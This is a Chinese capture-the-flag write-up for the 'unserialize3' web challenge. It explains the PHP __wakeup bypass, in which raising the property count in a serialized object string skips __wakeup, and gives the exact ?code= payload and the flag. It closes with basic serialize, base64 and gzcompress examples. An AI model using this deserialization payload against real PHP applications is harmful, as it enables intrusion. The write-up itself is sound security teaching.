zl程序教程

您现在的位置是:首页 >  其他

当前栏目

【愚公系列】2021年12月 攻防世界-进阶题-WEB-010(unserialize3)

2023-04-18 16:25:27 时间

文章目录


一、unserialize3

题目链接:https://adworld.xctf.org.cn/task/task_list?type=web&number=3&grade=1&page=1

二、使用步骤

1.点击获取在线场景

2.进入页面

进入场景发现代码

class xctf{ //类
public $flag = '111';//public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
?code=

3.反序列化漏洞

__wakeup 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。 所以猜测被反序列化了 但是可以看到这里没有特别对哪个字符串序列化,所以把xctf类实例化后,进行反序列化 利用php中的new运算符,实例化类xctf

new 是申请空间的操作符,一般用于类 比如定义了一个 class a{public i=0;} c = new a(); 相当于定义了一个基于a类的对象,这时候 c->i 就是0

<?php
class xctf{ //类
public $flag = '111';//public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
}//少了一个}
$a=new xctf();
echo(serialize($a));
?>

运行结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

如果直接传参给code会被__wakeup()函数再次序列化,所以要绕过他 利用__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

序列化返回的字符串格式

O:<length>:"":<n>:{<field name 1><field value 1>...<field name n><field value n>} 

O:表示序列化的事对象 < length>:表示序列化的类名称长度 < class name>:表示序列化的类的名称 < n >:表示被序列化的对象的属性个数 < field name 1>:属性名 < field value 1>:属性值

所以要修改属性值< n >,既把1改为2以上,在浏览器上后面加code参数如下

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag:cyberpeace{e9f913fd20c51f0302b069c2b9f16fba}


总结

php反序列化中__wakeup漏洞的利用

<?php
$a="aaaa";
$a=serialize($a);//字符序列化
echo $a;
echo unserialize($a);//字符反序列化
echo PHP_EOL;


$b=array("aaaa","bb","c");
$b=serialize($b);//数组序列化
echo $b;
$b=unserialize($b);//数组反序列化
var_dump($b);
echo PHP_EOL;


s:4:"aaaa";aaaa
a:3:{i:0;s:4:"aaaa";i:1;s:2:"bb";i:2;s:1:"c";}array(3) {
  [0]=>
  string(4) "aaaa"
  [1]=>
  string(2) "bb"
  [2]=>
  string(1) "c"
}
?>
各个字符的意义:
o:表示对象
a:表示数组
s:表示字符
i:表示数字

//s表示字符,4表示有4个字符,内容为"aaaa"
//a表示数组,3表示有三个变量值,i:0表示第一个变量,s为字符串,4位4个字符

当数组值包含单双引号或冒号时,序列化后容易出现问题。所以,采用base64_encode和base64decode。

<?php
$a = array("a","b","c");
$a=base64_encode(serialize($a));
echo $a;
echo PHP_EOL;
$b=unserialize(base64_decode($a));
var_dump($b);

YTozOntpOjA7czoxOiJhIjtpOjE7czoxOiJiIjtpOjI7czoxOiJjIjt9
array(3) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
}

?>

但是采用base64编码后,增加了字符串长度,增加了存储空间,所以使用gzcompress、gzuncompress压缩字符串。

<?php
$a = array("a","b","c");
$b=base64_encode(serialize($a));
$c=base64_encode(gzcompress(serialize($a)));
echo $b;
echo PHP_EOL;
echo $c;
echo PHP_EOL;

$d=unserialize(base64_decode($b));
$e=unserialize(gzuncompress(base64_decode($c)));
var_dump($d);
echo PHP_EOL;
var_dump($e);